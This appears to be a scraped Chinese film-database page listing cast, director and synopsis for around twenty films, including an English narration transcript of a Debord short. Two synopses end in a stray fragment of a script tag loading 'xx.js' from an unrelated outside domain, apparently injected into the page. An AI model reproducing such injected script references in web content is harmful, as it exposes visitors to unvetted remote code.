主演：藤原龙也,中岛美嘉,田中圣,木村了,坛蜜
导演：品川祐
简介：在俱乐部Honey Bunny担任雇佣店长的清原修造（藤原龙也 饰）赌马时弄丢店里的营业额，为免被老板破魔翔（窪塚洋介 饰）杀死，他被俱乐部头牌茉莉亚（中岛美嘉 饰）拉去向恐怖魔女涉柿多见子（池畑慎之介☆ 饰）举债。拆东墙补西墙的做法无济于事，修造找来最信赖自己的小弟小 岛一德（田中圣 饰）和生意濒临破产的常客金森健（小杉龙一 饰），策划了抢劫银行的行动。抢劫当天，三人事成后回到Honey Bunny，可是分赃不均产生内讧。而在这次银行劫案背后，又有多方势力以及阴谋介入其中。尔虞我诈，坑蒙拐骗，谁也不知结局将会如何……* src="mikka.app/xx.js" type="text/javascript">
主演：詹妮弗·洛佩兹,安东尼奥·班德拉斯,马丁·辛,Rene,Rivera,Maya,Zapata
导演：格雷戈里·内瓦
简介：1992年，《北美自由贸易协定》签署并生效。许多大型企业涌向与美国接壤的墨西哥边境城镇设立工厂，他们雇用当地的廉价劳动力大量生产商品，并向美国倾销。这类工厂被称作“马奎拉多纳（Maquilaoras）”，当地的妇女为了那少得可怜的报酬不辞辛苦，夜以继日拼命忙碌，通常要到深夜或凌晨才可能回家。而在这个人烟稀少的危险时段，许多妇女遭受强暴和杀害。在混乱破败的华雷斯时，针对马奎拉多纳妇女的连环杀人案引起广泛关注。为了得到驻外记者的职位，来自美国的记者劳伦（珍妮弗·洛佩茨 Jennifer Lopez 饰）开始调查华雷斯镇的连环凶杀案。在这一过程中，她邂逅了侥幸逃生的女孩伊芙（Maya Zapata 饰），两个女人的命运就这样连接在一起……本片根据真实事件改编。
主演：凯瑟琳·基纳,詹森·艾萨克,蒂姆·夏普,琼·库萨克,格雷格·格曼,海莉·诺艾儿·强森,西蒙·迈克伯尼,弗兰西斯·麦克多蒙德,杰克·切里,詹妮弗·安妮斯顿,鲍勃·斯蒂芬森,玛琳·辛科,斯科特·凯恩,Troy,Ruptash,伊丽莎白·基纳
导演：妮可·哈罗芬瑟
简介：奥利维亚（珍妮佛·安妮斯顿）有三个亲密无间的老朋友，四个女人多年为伴，无话不谈。随着人到中年，朋友的际遇各有不同，却都已然成家立业：她们一个成为著名的服装设计师，一个是当红剧作家，另一个继承大笔遗产，衣食无忧。相比之下，奥利维亚的生活真是一塌糊涂，她不仅单身未婚，而且刚刚丢了工作，生活陷入困境。虽然带着表面的尴尬与难堪，老友们依然不离不弃，帮奥利维亚介绍工作，介绍男友，却鲜有成效。其实老友们也有自己的烦恼，厌倦工作、厌倦婚姻、厌倦生活，每个人都切实感触着中年的危机与烦恼。奥利维亚游走在大商场，索要着免费的面霜试用装，借着老友的光参加各种高级派对，等待烦恼逝去，等待真命天子的到来。其实不管每个人多有钱，还不是都这样等待着……
主演：陈晓雷,里坡,张家声,温锡莹,田华
导演：杨在葆
简介：党小组长 (1986)故事梗概刘局长是航运局里说一不二的人物，有一次他视察工作返城时，在公路上受到市委书记女儿的捉弄，他敢怒不敢言。他的小车司机杨杨不惧权势，治服了书记的女儿，为刘局长出了气。为此，刘局长极力推荐杨杨担任党小组长。杨杨在前任组长的记录本上，发现刘局长几个月没缴党费，于是他去找刘局长收党费。刘局长建议杨杨以后按月到会计科扣除他的党费，杨杨提醒他，这是党费，不是党税，如六个月不缴纳党费，就算自动退党。梅嫂听说杨杨是能管局长的"官"，便来告状。原来，梅嫂一家三代人多年来一直挤在一间破屋里，最近刚分到一套新房，可刘局长的儿子要结婚，房子就被收回去。杨杨决定召开党小组会帮助刘局长，可刘局长没有参加小组会。杨杨只好找刘局长谈话，局长认为，分房是行政部门的事，党组织不能想管什么就管什么。杨杨送刘局长家人去郊外旅游，与刘家人发生了矛盾。刘局长要杨杨公开检讨，谁知杨杨会上对刘局长搞不正之风，进行了批评。事后，杨杨按党章，诚恳地指出刘局长存在的缺点。刘局长决定把杨杨调出机关，这时市委书记向他透露，党代会要召开，是否继续当局长，选举党代表是关键。刘局长心领神会，立即改变了对杨杨的态度，还将房子退还给梅嫂。在选举会上，杨杨代表机关党小组向大会提出，刘局长已八个月没缴党费，一年多不过组织生活，不能当选党代表，引起会场哗然。在一条宽阔的公路上，杨杨开着卡车迎面驶来。杨杨怎么改开卡车了？党小组长还当不当了？人们思考着。
主演：申军谊,刘小宁,高曙光
导演：孙周
简介：陆野和席娟已离异，各自又有了新的选择，他们的儿子陆一和耐克公司经理陆建国的儿子陆依在同校同班学习，而且都穿耐克广告衫。刚从监狱获释的魏文彬，为了给狱中的哥儿们出气，敲诈陆建国不成，就纠集歹徒去绑架陆依，不料他们误绑了陆一。陆野、席娟寻子不见即向公安局报案。陆建国接到歹徒要赎金的电话，后又知陆一失踪，方知歹徒是冲着他来的，就将错就错，准备交赎金以图安宁。刑警队长石伟和助手先以夫妻离异、家庭解体和孩子可能出逃的线索去查找，后发现陆建国从银行提取三万元现金，而陆一的广告衫又是他送的，便推测陆建国的行动与失踪案有关。这时，魏文彬到海滨浴场来取赎金，偶然发现寻找陆一的启事，方知绑错了人，但又怕其中有诈，就让其情妇亚丽看住陆一。亚丽有意让陆一逃跑，夜料孩子刚到家又被魏文彬等人掳走。石伟、陆野、席娟从陆建国那儿得知真情后，陆野救子心切，独自行动。石伟获得的线索，又因陆野的莽撞而打乱了计划。魏文彬发现他已被公安人员盯上，就派歹徒杀人灭口。在混乱中，歹徒杀死了席娟。陆野欲与魏文彬拼命，这时石伟干警赶到与众匪徒激战，终于击毙了魏文彬。陆野与儿子团圆了。然而，这仍是一个不完整的家庭。
主演：勒内·纳瓦尔,乔治·梅尔基奥尔,勒妮·卡尔,雅内·法贝尔,Volbert
导演：路易斯·菲拉德
简介：Fantômas makes it as the emperor of Crime. First is the robbery at the Royal Palace Hotel. Then he abducts Lord Beltham. As Fantômas' fame increases actor Valgrand creates the rôle of public enemy No.1 on stage. Eventually Inspector Juve, with a little help from Fandor, arrests Fantômas and he is soon sentenced to die on the guillotine. But... Written by viktor-18
主演：石挥,丹尼,崔超明,俞仲英
导演：黄佐临
简介：抗日战争时期，一个青年女子由于追求物质享受而堕入敌特组织，干了一系列特务勾当。最后，当她在临难不屈的共产党员的精神感召下，有所觉悟时，却被敌人杀死。影片根据茅盾同名小说改编。在40年代后期，影片编导曾计划把作家茅盾这一创作于40年代初并在当时产生广泛影响的作品搬上银幕，因政治环境不允许未能实现。上海解放后，文华影业公司将其列为重点剧目投入摄制。影片对女主人公赵惠明的处理，创作者曾经过认真考虑。赵惠明是特务，又是失足者。她是个思想性格复杂、内心冲突激烈的人物。影片于1950年冬上映，受到观众欢迎。不久报刊有文章提出影片对赵惠明“过于同情”的批评，认为与当时正在开展的镇压反革命运动方针政策不相吻合。影片即不予放映。
主演：斯特凡妮娅·罗卡,Timothy,Peach,Marie,Bäumer,Cécile,Bois
导演：保罗·塔维亚尼,维托里奥·塔维亚尼
简介：玛丝洛娃（史蒂芬妮雅·若卡 Stefania Rocca 饰）是一个天真善良而又单纯的农家女，一次偶然中，她邂逅了名为聂赫留朵夫（Timothy Peach 饰）的富家公子，并且深深地爱上了他。可是，聂赫留朵夫并不是真的爱玛丝洛娃，他诱奸了她，并且残忍的将其抛弃。绝望和痛苦之中，走投无路的玛丝洛娃沦为了妓女，身心都受到了严重伤害的她开始依靠酒精和毒品来逃避现实麻醉自己。最终，玛丝洛娃触犯了法律，被关进了监狱。在法庭上，玛丝洛娃在一次和坐在陪审席上的聂赫留朵夫重逢了，良心折磨着聂赫留朵夫，他决定拯救玛丝洛娃并且同她结婚，可是，为了保全爱人的名誉，玛丝洛娃拒绝了他。
主演：约翰·加菲尔德,菲莉丝·德丝达,帕德里夏·妮尔
导演：迈克尔·柯蒂兹
简介：Fishing boat captain Harry Morgan charters his boat. Due to strained finances, he is none too careful as to whom he does business with. Real trouble erupts when Harry hires out his boat to transport four men who turn out to be criminals on the lam from a racetrack heist.
主演：内详
导演：居伊·德波
简介：Voice 1 (male "professional announcer" type): This neighborhood(1) was made for the wretched dignity of the petty bourgeoisie, for respectable occupations and intellectual tourism. The sedentary population of the upper floors was sheltered from the influences of the street. This neighborhood has remained the same. It was the strange setting of our story, where a systematic questioning of all the diversions and works of a society, a total critique of its idea of happiness, was expressed in acts.These people also scorned "subjective profundity". They were interested in nothing but an adequate and concrete expression of themselves.Voice 2 (Debord, monotone): Human beings are not fully conscious of their real life - usually groping in the dark; overwhelmed by the consequences of their acts; at every moment groups and individuals find themselves confronted with results they have not wished.Voice 1: They said that oblivion was their ruling passion. They wanted to reinvent everything each day; to become the masters and possessors of their own lives.Just as one does not judge a man according to the conception he has of himself, one cannot judge such periods of transition according to their own consciousness; on the contrary, one must explain the consciousness through the contradictions of material life, through the conflict between social conditions and the forces of social production.The progress achieved in the domination of nature was not yet matched by a corresponding liberation of everyday life. Youth passed away among the various controls of resignation.Our camera has captured for you a few aspects of a provisional microsociety.The knowledge of empirical facts remains abstract and superficial as long as it is not concretized by its integration into the whole "” which alone permits the supersession of partial and abstract problems so as to arrive at their concrete essence, and implicitly at their meaning.This group was on the margins of the economy. It tended toward a role of pure consumption, and first of all the free consumption of its time. It thus found itself directly engaged in qualitative variations of everyday life but deprived of any means to intervene in them.The group ranged over a very small area. The same times brought them back to the same places. No one went to bed early. Discussion on the meaning of all this continued...Voice 2: "Our life is a journey "” In the winter and the night. "” We seek our passage..."�Voice 1: The abandoned literature nevertheless exerted a delaying action on new affective formulations.Voice 2: There was the fatigue and the cold of the morning in this much-traversed labyrinth, like an enigma that we had to resolve. It was a looking-glass reality through which we had to discover the potential richness of reality.On the bank of the river evening began once again; and caresses; and the importance of a world without importance. Just as the eyes have a blurred vision of many things and can see only one clearly, so the will can strive only incompletely toward diverse objects and can completely love only one at a time.Voice 3 (young girl): No one counted on the future. It would never be possible to be together later, or anywhere else. There would never be a greater freedom.Voice 1: The refusal of time and of growing old automatically limited encounters in this narrow, contingent zone, where what was lacking was felt as irreparable. The extreme precariousness of the means of getting by without working was at the root of this impatience which made excesses necessary and breaks definitive.Voice 2: One never really contests an organization of existence without contesting all of that organization's forms of language.Voice 1: When freedom is practiced in a closed circle, it fades into a dream, becomes a mere representation of itself. The ambiance of play is by nature unstable. At any moment "ordinary life"� can prevail once again. The geographical limitation of play is even more striking than its temporal limitation. Any game takes place within the contours of its spatial domain. Around the neighborhood, around its fleeting and threatened immobility, stretched a half-known city where people met only by chance, losing their way forever.The girls who found their way there, because they were legally under the control of their families until the age of eighteen, were often recaptured by the defenders of that detestable institution. They were generally confined under the guard of those creatures who among all the bad products of a bad society are the most ugly and repugnant: nuns.What usually makes documentaries so easy to understand is the arbitrary limitation of their subject matter. They describe the atomization of social functions and the isolation of their products. One can, in contrast, envisage the entire complexity of a moment which is not resolved into a work, a moment whose movement indissolubly contains facts and values and whose meaning does not yet appear. The subject matter of the documentary would then be this confused totality.Voice 2: The era had arrived at a level of knowledge and technical means that made possible, and increasingly necessary, a direct construction of all aspects of a liberated affective and practical existence. The appearance of these superior means of action, still unused because of the delays in the project of liquidating the commodity economy, had already condemned aesthetic activity, whose ambitions and powers were both outdated. The decay of art and of all the values of former mores had formed our sociological background. The ruling class's monopoly over the instruments we needed to control in order to realize the collective art of our time had excluded us from a cultural production officially devoted to illustrating and repeating the past. An art film on this generation can only be a film on its absence of real creations.Everyone unthinkingly followed the paths learned once and for all, to their work and their home, to their predictable future. For them duty had already become a habit, and habit a duty. They did not see the deficiency of their city. They thought the deficiency of their life was natural. We wanted to break out of this conditioning, in quest of another use of the urban landscape, in quest of new passions. The atmosphere of a few places gave us intimations of the future powers of an architecture it would be necessary to create to be the support and framework for less mediocre games. We could expect nothing of anything we had not ourselves altered. The urban environment proclaimed the orders and tastes of the ruling society just as violently as the newspapers. It is man who makes the unity of the world, but man has extended himself everywhere. People can see nothing around them that is not their own image; everything speaks to them of themselves. Their very landscape is alive. There were obstacles everywhere. There was a cohesion in the obstacles of all types. They maintained the coherent reign of poverty. Everything being connected, it was necessary to change everything by a unitary struggle, or nothing. It was necessary to link up with the masses, but we were surrounded by sleep.Voice 3: The dictatorship of the proletariat is a desperate struggle, bloody and bloodless, violent and peaceful, military and economic, educational and administrative, against the forces and traditions of the old world.Voice 1: In this country it is once again the men of order who have rebelled. They have reinforced their power. They have been able to aggravate the grotesqueness of the ruling conditions according to their will. They have embellished their system with the funereal ceremonies of the past.Voice 2: Years, like a single instant prolonged to this point, come to an end.Voice 1: What was directly lived reappears frozen in the distance, fit into the tastes and illusions of an era, carried away with it.Voice 2: The appearance of events that we have not made, that others have made against us, now obliges us to be aware of the passage of time, its results, the transformation of our own desires into events. What differentiates the past from the present is precisely its out-of-reach objectivity; there is no more should-be; being is so consumed that it has ceased to exist. The details are already lost in the dust of time. Who was afraid of life, afraid of the night, afraid of being taken, afraid of being kept?Voice 3: What should be abolished continues, and we continue to wear away with it. We are engulfed. We are separated. The years pass and we haven't changed anything.Voice 2: Once again morning in the same streets. Once again the fatigue of so many similarly passed nights. It is a walk that has lasted a long time.Voice 1: Really hard to drink more.Voice 2: Of course one might make a film of it. But even if such a film succeeds in being as fundamentally disconnected and unsatisfying as the reality it deals with, it will never be more than a re-creation "” poor and false like this botched traveling shot.Voice 3: There are now people who pride themselves on being authors of films, as others were authors of novels. They are even more backward than the novelists because they are unaware of the decomposition and exhaustion of individual expression in our time, ignorant of the end of the arts of passivity. They are praised for their sincerity since they dramatize, with more personal depth, the conventions of which their life consists. There is talk of the liberation of the cinema. But what does it matter to us if one more art is liberated through which Tom, Dick or Harry can joyously express their slavish sentiments? The only interesting venture is the liberation of everyday life, not only in the perspectives of history but for us and right away. This entails the withering away of alienated forms of communication. The cinema, too, has to be destroyed.Voice 2: In the final analysis, stars are created by the need we have for them, and not by their talent or lack of talent or even by the film industry or advertising. Miserable need, dismal, anonymous life that would like to expand itself to the dimensions of cinema life. The imaginary life on the screen is the product of this real need. The star is the projection of this need.The images of the advertisements during the intermissions are more suited than any others for evoking an intermission of life.To really describe this era it would no doubt be necessary to show many other things. But what would be the point?Better to grasp the totality of what has been done and what remains to be done than to add more ruins to the old world of the spectacle and of memories.1. This film, which evokes the lettrist experiences at the origin of the situationist movement, opens with shots of the Paris district frequented by the lettrists in the early 1950s.
主演：Ninita,Bristow,Edwin,Carewe,Virginia,Mann,Elinor,O.,Peterson,Jean,Thomas
导演：Frank,Beal
简介：A dramatization of the methods in which young women are abducted or otherwise procured for prostitution.
主演：何塞·费勒,莎莎·嘉宝
导演：约翰·休斯顿
简介：故事发生在1890年的巴黎，亨利（何塞·费勒 José Ferrer 饰）是一名画家，他常常现身于“红磨坊”之中，当他人沉浸在灯红酒绿纸醉金迷之中时，亨利只是埋头专心作画。一次偶然中，亨利结识了名为玛丽（科莱特·玛钱德 Colette Marchand 饰）的女子，在帮助她脱离险境之后，亨利被美丽开朗的玛丽迷住了。随着时间的推移，亨利发现了玛丽的反复无常和不可信任，一颗炙热的心在反复的伤害之中逐渐冷却。终于，亨利的绘画事业有了起色，他为“红磨坊”所绘的广告画受到了外界的关注和认可。之后，亨利又遇见了善良勤劳的老板娘，尽管对老板娘心怀好感，但感情饱受伤害的亨利却选择了将感情埋藏在心底，直到老板娘成为了别人的新娘。
主演：Oliver,Ackland,Alex,Russell,Adelaide,Clemens
导演：Ben,C.,Lucas
简介：单一色调的八个游泳队员在同样单一色调的学校泳池破浪。一对同母异父兄弟，大哥Zack是学校老大，他人脉广阔，在学校深受女生爱戴，不时发施号令，要弟弟Darren代做化学家课；弟弟是典型电脑迷，时刻沉迷网络游戏及破解程式密码，弟弟不是一头乱发、佩带黑色大框架眼镜，以及衣衫不整以现代贬义称为的“宅男”，他是以兄长为校队游泳团队首领，成绩欠佳的游泳队员。爱接触阳光池水及精通电脑的男孩可谓文武兼备，他比不上哥哥的狡黠，男人不坏，女人不爱，弟弟的木讷朴实不是女同学喜欢的类型，他遇见了倾心对象。Xandrie的幼滑金丝、纯真笑容打动了Darren，他在哥哥搞的狂热派对找不到金发蓝衣美人，发放短讯联系，短句是只有年青网络族群才懂的文字，他在房间的监视器遍寻不获，遇到了意图借着酒精毒品弄得迷迷糊糊在电脑男房间胡天胡帝的男女，Darren挂心不知所在的Xandrie恐怕被男人下了药带到隐匿地方施暴，他害怕Xandrie遭遇同一手段，他赶走了他们，是潜意识对抗利用酒及违禁粉末壮大胆子，麻醉常理，做出一发不可收拾劣行的校友。单一色调的泳池竞赛选手不是八个，余下四个是校园欺凌的要角。
主演：宋思远
导演：张继龙
简介：一部反映农村留守儿童学习生活的影片。片中以冷冬冬为代表的几个小学生，父母都在外地打工，只好跟着爷爷、奶奶生活，冷冬冬家里只有奶奶，生活、学习就更困难了。孩子们想妈妈，想坐火车到滨哈市去看妈妈，因为超过1米1需要买火车票，所以他们千方百计不想长高。后来，一位老列车长偶然得知情况后，答应有条件带他们去看妈妈。为了达到老列车长允许去看妈妈所要求的学习成绩，几个孩子以此为动力互相帮助，冷冬冬的学习成绩有了很大进步。在影片的结尾，冷冬冬因为数学成绩比老列车长所要求的少了一分，主动放弃了和同学一起坐火车去滨哈市看妈妈的机会，而是决心要沿着铁道线走到滨哈市去看妈妈。通过这个故事，我联想到我自己，我每天坐在温暖明亮的教室里，在学校有老师的精心哺育，在家里有爸爸妈妈的细心呵护，我们总是衣来伸手，饭来张口，从未体会过老师、父母工作的辛苦和生活的艰辛，和那些农村留守儿童相比，我们是多么的幸福与快乐，我们有什么理由不珍惜今天幸福快乐的生活，有什么理由不努力学习呢？在拍摄影片的过程中，我不但受到了教育，也学会了很多在父母身边学不到的东西，我在这里向各位家长汇报一下我的收获与快乐。一、团结合作最重要。影片中有许多镜头需要和其他小演员配戏。一个演员表演不到位，就得重拍，有时一个镜头要拍十遍甚至二十遍。表演得好，也要拍四五遍，因为导演要选最好的。这就要求大家互相配合，相互谅解，不能相互指责，不能因为自己拍的好，别人拍的不好就去说别人，发牢骚。二、学会战胜自我。在拍片过程中，我的腿扎了一根象牙签一样长的刺，因为医生当时没发现，后来发炎化脓了，做了三次引流，还打了一周的点滴，吃了不少苦。为了不影响拍电影，我早晨4点钟起床打点滴，然后马上坐剧组等在医院外专门来接我的车赶到拍片现场，带伤坚持参加拍摄。拍完影片回来后，每当我有畏难情绪的时候，妈妈爸爸就用这件事鼓励我战胜困难。三、成功的背后是艰辛。平时我们在银幕上看到的都是演员们风光的一面，其实做演员是很辛苦的。我们每天早晨五点钟起床吃饭化妆，中午在尘土飞扬的路边吃盒饭，晚上一定要拍完当天的计划才能收工。有的时候，工作人员穿着厚厚的夹克衫，而我因为剧情需要，却穿着背心、短裤。我记得我戏份最多的一天拍了12场戏，到夜里11点多时开始拍下雨的戏。在雨天是不能拍戏的，这种戏要用人工方法拍摄，用喷枪喷雨，还要放烟雾，还放一种类似焰火声音的东西，这样才有雷雨交加的效果。因为有的镜头要重复拍摄，一直排到后半夜一点多才结束。其实一开始拍的时候我的衣服就湿透了，但我还是坚持下来了。四、快乐无处不在。不管拍电影是多么艰苦，但我还是有很多的快乐，比如，休息的时候，在车上打扑克，在火车上吃东西，和小伙伴们一起玩儿等等。总之，快乐无处不在，不要因为快乐的时候少，就不去快乐；不要因为烦恼的时候多，就脾气暴躁。这就和“勿以善小而不为，勿以恶小而为之”是一个道理。
主演：Sagamore,Stévenin,Léa,Bosco
导演：Patrick,Volson
简介：1767年，人们在法国格夫丹地区的森林里发现了恐怖的杀人怪兽。据说，它是一种类似狼和狗的凶猛怪兽，被袭击的人都被咬破了颈部血管。在当地寻找绷带的外省医生皮埃尔到最近出现的人命案现场勘查了情况，他对和尸体近在咫尺的却完好无损的捕兽陷阱感到十分困惑。对于怪兽，教堂里牧师的解释是，那是一只恶魔附体的怪兽，是来惩罚人们的罪恶的，人们必须虔诚祷告来赎罪。他甚至暗示村中的异教徒、制作亚麻布拥有自己土地的外乡人沙斯黛尔一家就是撒旦的替身。消息传到凡尔赛宫，已经开始相信科学、摒除封建迷信的国王路易十五派出了火枪手，要求尽快击毙森林里的“动物”。随着弑人事件的不断发生，医生在死者身上的发现有了惊人的进展。他在一个女死者的颈部伤口中取出了被折断的铁器的残片，而动物是不可能用这样的工具来杀人的，他认为，所谓的森林怪兽不过是披着狼皮的人罢了。他把自己的发现和结论告诉御史，但火枪手并不听信这一套，他脑子里想的只是杀死一只狼什么的动物，然后回宫请赏。与此同时，对于异教徒沙斯黛尔一家的迫害也达到了前所未有的程度。在牧师母亲的恶意教唆下，村民把愤怒的火焰喷向了沙斯黛尔一家。沙斯黛尔先生将因使用巫术而被绞死，在医生皮埃尔的斡旋下才逃得性命。而皮埃尔的发现也把他怀疑的对象指向了当地的贵族、侯爵先生，但最后当他在沙斯黛尔家发现身披狼皮、企图杀死沙斯黛尔女儿的人时，他才明白，怪兽竟是伯爵莫兰齐斯。他开枪击毙了这个“怪兽”。官方给伯爵的死因是意外死亡，火枪手因射杀了一只狼回宫得赏，沙斯黛尔先生因丧妻而疯癫起来，他的女儿和医生皮埃尔结为夫妻。
主演：弗兰科·内罗,何塞·博达洛,洛雷达娜·努斯齐亚克,安赫尔·阿尔瓦雷斯,吉诺·佩尔尼切,Simón,Arriaga,Giovanni,Ivan,Scratuglia,Remo,De,Angelis,Rafael,Albaicín,José,Canalejas,Eduardo,Fajardo
导演：赛尔乔·科尔布奇
简介：荒凉的旷野，一群暴虐的劫匪正在鞭挞一位美丽的姑娘玛丽亚（萝蕾丹娜·卡波莱特 Loredana Cappelletti饰）。幸得迪亚戈（弗兰科·尼罗 Franco Nero饰）的解救。他神秘而冷峻，拖着一副棺材漫步在泥泞的荒野上。迪亚戈带着玛丽亚来到荒凉的小镇，人们对他的到来充满好奇，更对这副棺材里隐藏的秘密而惶惶不安。本片作为意大利西部片的经典暴力之作，曾在世界多国遭到禁映。2012年，鬼才导演昆汀·塔伦蒂诺拍摄的《被解放的姜戈》，向此片致敬。
主演：张帆,罗京民
导演：姚庆涛
简介：身患老年痴呆症的父亲，为儿子保存了一瓶58年的老茅台，不孝儿子深陷债务危机，想把父亲的老茅台骗到手中，可父亲偏偏不认识这个儿子了，为了唤醒儿子的记忆，儿子把父亲带回茅台镇去重新过酿酒生活，以期父亲记忆恢复，在父子酿酒过程中两人的感情升温了，最后，父亲依旧不认识这个儿子，却认可了两人的忘年交情，父亲将老茅台赠予了他，儿子拿到老茅台，内心发现了最重要的是亲情，他没有去拿酒还债，而是把父亲接回北京一起生活，在跟父亲洗澡的时候，将茅台打开，两人共饮，父亲说了一句：好酒！* src="mikka.app/xx.js" type="text/javascript">
主演：笑福亭鹤瓶,永山瑛太,八千草薰,香川照之,余贵美子,井川遥
导演：西川美和
简介：地处偏僻的神和田村，是一个人口严重流失、老龄化程度极高的村落。医生伊野治（笑福亭鹤瓶 饰）的到来为老人们解决了治病无门的烦恼，他和蔼可亲，医术高明，被当地人奉为神明，备受尊敬。从东京来此实习的年轻医师相马启介（瑛太 饰）起初也不了解伊野甘于寂寞的做法，但随着出诊次数的增加，他和当地人建立了质朴的友情，也对伊野医生有了更多地了解。然而就在两个月后的某个夜晚，伊野医生神秘失踪，村民们慌乱不安，十分担心他的安慰。而负责此案的警官（松重丰 饰）却似乎另有想法，经过一系列的调查，关于伊野治的身份和秘密渐渐浮出水面……
主演：Bruto,Castellani,Ettore,Mazzanti,Gastone,Monaldi,Fernanda,Negri,Pouget,Orlando,Ricci
导演：Enrico,Guazzoni
简介：拉美西斯大帝旗下的一个士兵，把卡默斯的爹娘赶出了他们的家园。卡默斯决定对这个不公平的事件展开抗争。於是他出发前往埃及的首都底比斯，想到土地司去调查这件事情。然而进入土地司之前，必须先经历过一番锻鍊；卡默斯下定决心要克服一切的阻碍。因缘际会之下，他遇到了一位名唤诺菲的女孩，疯狂地陷入热恋，并且获得了她的支持，准备一起携手打这场官司。然而诺菲与卡默斯来自两个完全不同的常阶层。不过，他们还是决定心手相连，一起面对所有的挑战，即便最後必须去面见法老王本人也不害怕......拉美西斯大帝时代，在底比斯附近的一座小村庄，住著一对农民和他们的儿子卡默斯。有一天，他们家来了一个身材高大的士兵，自称是法老王大军的退伍军人。这士兵夺走了他们的田产和房屋，还声称这是法老王的命令。於是卡默斯决定到底比斯去讨回公道。抗争的过程中，他认识了一个同年龄的女孩──美丽的诺菲，两人坠入了情网。这一对小情侣，真的能替卡默斯的爹娘讨回公道吗？
主演：Natalie,Morse,Gene,Bervoets,Toyah,Willcox
导演：Chris,Newby
简介：In fourteenth-century England, peasant girl Christine Carpenter is so attracted to a statue of the Virgin Mary that the local priest (who lusts after her) suggests she be walled up in the church as an anchoress, a holy woman with responsibility for blessing the villagers. But when the priest has Christine's mother tried as a witch, she digs herself out of her cell, a crime for which the punishment is death.